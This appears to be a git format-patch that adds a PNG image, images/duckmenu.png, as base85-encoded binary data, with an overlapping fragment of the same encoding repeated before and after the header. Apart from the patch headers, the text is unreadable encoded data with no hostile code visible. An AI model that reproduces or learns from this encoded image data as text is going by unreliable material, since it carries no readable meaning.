zh%n|CEX4FEb%zL@D;c&Py9-eJ zRJJ)=aIPhjuju2mv#NbzN`ry9pH|T-wq%kWeq}$jC}*~={cxjR*t(fkp2J_b)%Y;H}3!p~1oZc6qSV7RnSbaX75oG+On|ifweCz5GVwHpt=9 z2B13nC)fW=g#r}l{LHfIZRY|0{-?k}@3qoMqoRhp0^L_*<^B<}qUNw6eO=&cq<~{{tb97YPvc9LW5KbmqVI^w0h)R{P$; z)zvLsq3Iqr)ugv>dS(~0D*+z@0B78K!fpVYro4J}!?Ah?4}J2r1FA;z1HsAJP8~q6 zcQ)+ZH6*%e>;rSeJb1V71SuA`C2ERao+caw6HuR6I`5kFYIfzG-pgo$bOTPGUfx({>V%8F&mNGJ1F#W+ zf#)NobZ=T$dHbaiu%R}BkZ%@bmD++2pr4e;b_nN9?#fiu{$6h>f{$1m2BRlO-&|r| z&+r#dH4s9z^m)VS)TS1yJlT{xR_ILwoCWHFqa4PmDzpVe$J6LE2+IBHwW!BuoLB6e zoU%Q}YJ!S~%L6+YJZT4dfxC4bKR$VS0;4@4Hp^c@CI{%>W1hNQ*%MA<=ym^fs8Vq2BQ`7DWVVJXl9i^BQ(i8szBrubv1ASec~5!zoIBI|Xfxv< zKYqLv&Y~wnx;Ja<`HxFVPE!fFqKc>wpapL66hwJESfp^TF1d* zA}ZBeP|p5%=-hD5+9i~zS)Pe|c;o8lhFHKoG-6hPWx^+_mYzCP<+nTq_{nh2>J%2i zl#C{nWN0v+g`=1wL;%YHp@eY;gHg$0$MWCZD5~u36YhV16W-Rc7RFDD4wwTVu5Ltk z20ECsifa1u#acFLiB!)LJ_C6mnrwk8Z^sM^2v1r`o@`d84|!IkqyQZ~El&uhWu?E| zTu*6H_jTn=#%hB#e5wjY7lX=1pg9x*Lmjf=t&7N6l3iRjgrwx+J50=j_KP3Ku;r07>1nf(O7 zMeAk!cfUVE4q1)u8D+F&s;rldEc^3-XNHT+3zPV^s1pFY+xVfSJ{JDwmLci9d z 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 P49M`ZiC&5BohSbnzI9im From e631388d9119ff28e0e4ca3c3c76eef58b8057fe Mon Sep 17 00:00:00 2001 From: Charles Johnson <138817709+Lamentomori@users.noreply.github.com> Date: Wed, 15 May 2024 18:36:48 -0500 Subject: [PATCH 18/23] Add files via upload --- images/duckmenu.png | Bin 0 -> 18671 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 images/duckmenu.png diff --git a/images/duckmenu.png b/images/duckmenu.png new file mode 100644 index 0000000000000000000000000000000000000000..703c31e7e751a3a1bd12a45f3e7ab76341ca0063 GIT binary patch literal 18671 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 z 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 